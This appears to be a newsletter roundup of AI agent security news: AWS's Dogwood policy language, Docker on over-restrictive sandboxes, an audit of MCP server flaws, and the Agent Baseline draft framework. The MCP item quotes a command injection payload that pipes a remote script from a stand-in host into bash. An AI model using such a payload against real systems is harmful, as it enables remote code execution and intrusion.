AWS Open-Sources Dogwood, a Runtime Verification Language for AI Agents
AWS introduced Dogwood, a runtime verification and governance language purpose-built for AI agents, supporting Cedar policies (the same policy language behind Amazon Verified Permissions) alongside temporal conditions that can constrain what an agent is allowed to do over the course of a multi-step run, not just at a single point in time. Where most agent guardrails today check individual tool calls against a static allow-list, Dogwood's temporal-condition model lets policies express sequences and time-bounded constraints — for example, permitting a read followed by a write only within a bounded window, or revoking a capability after a certain number of tool calls.
This lands squarely in a gap the agentic ecosystem has been circling for a while: static permission scopes are a reasonable first line of defense, but they don't capture the fact that an agent's risk profile changes as a session progresses. A governance language built around temporal conditions is a more precise tool for that problem than bolting more rules onto a static policy file.
Read more — AWS News Blog
Docker: "Empty Sandboxes Break Developer Experience"
Docker published a critique of a common pattern in agent tooling today: sandboxes so aggressively locked down that they break the basic developer workflows agents are supposed to accelerate. An agent dropped into a sandbox with no access to the package registries, credentials, or network paths a real task actually needs ends up failing on trivial steps — installing a dependency, checking out a private repo, calling an internal API — long before it reaches anything security-relevant. The practical effect, per Docker, is that teams either abandon sandboxing under deadline pressure or build ad hoc escape hatches that undermine the isolation the sandbox was meant to provide in the first place.
The argument is a useful counterweight to security-first messaging around agent sandboxing: isolation that's so restrictive it's unusable doesn't get adopted, it gets worked around. Docker frames the fix as pre-provisioning sandboxes with the specific, scoped resources a given task class needs, rather than defaulting to zero-access and hoping developers request exceptions correctly.
Read more — Docker
Safe & Secure AI Agent Practices
MCP Server Audit Finds Command Injection in 43% of Tested Implementations
A security assessment from Equixly of popular Model Context Protocol server implementations found command injection vulnerabilities in 43% of tested servers, server-side request forgery (SSRF) in 30%, and path traversal or arbitrary file read in 22%. The command injection cases typically stemmed from MCP tools passing user-supplied strings directly into shell execution — a payload like ; curl evil.sh | bash embedded in a tool argument was enough to trigger remote code execution in the vulnerable implementations. The SSRF cases came from tools that fetch arbitrary URLs on the caller's behalf without validating the destination.
Perhaps more concerning than the vulnerability rates themselves was the disclosure response: of the teams notified, only 30% acknowledged the issue and shipped a fix, 45% characterized the risk as "theoretical" or "acceptable," and 25% didn't respond at all. For an ecosystem where MCP servers are increasingly wired directly into coding agents with broad tool access, a near-majority dismissal rate on basic injection classes is a signal that MCP server security review needs to become a standard step before connecting a new server, not an optional one.
Read more — Equixly
Docker, Snyk, and Keycard Publish Agent Baseline v1.0-Draft
Docker, Snyk, and Keycard jointly launched Agent Baseline v1.0-draft at Black Hat 2026, an open security blueprint defining minimum security outcomes for enterprise agent deployments across six pillars: Discover (accurate inventory of every agent, owner, and effective access), Constrain (limit runtime, data, tools, network reach, and duration to approved purposes), Authorize (bind consequential actions to identity, task, target, and validity period), Observe (correlate intent, policy, tool use, and outcomes under a stable run ID), Validate (test agents in their actual operating configuration before deployment), and Respond (stop agents, revoke authority, and preserve evidence when something goes wrong). Together the six pillars total 35 specific controls.
The baseline's framing is worth internalizing on its own: "The standard cannot be that they behave perfectly. The standard must be that we know what they can do, enforce where they can go, trace what they did, and stop them when something goes wrong." That's a meaningfully different bar than trying to prevent every prompt injection outright — it accepts that agents will be manipulated sometimes and designs for bounded, observable, reversible blast radius instead. The draft is open for community feedback through September 30, 2026, at agentbaseline.org.
Read more — Docker
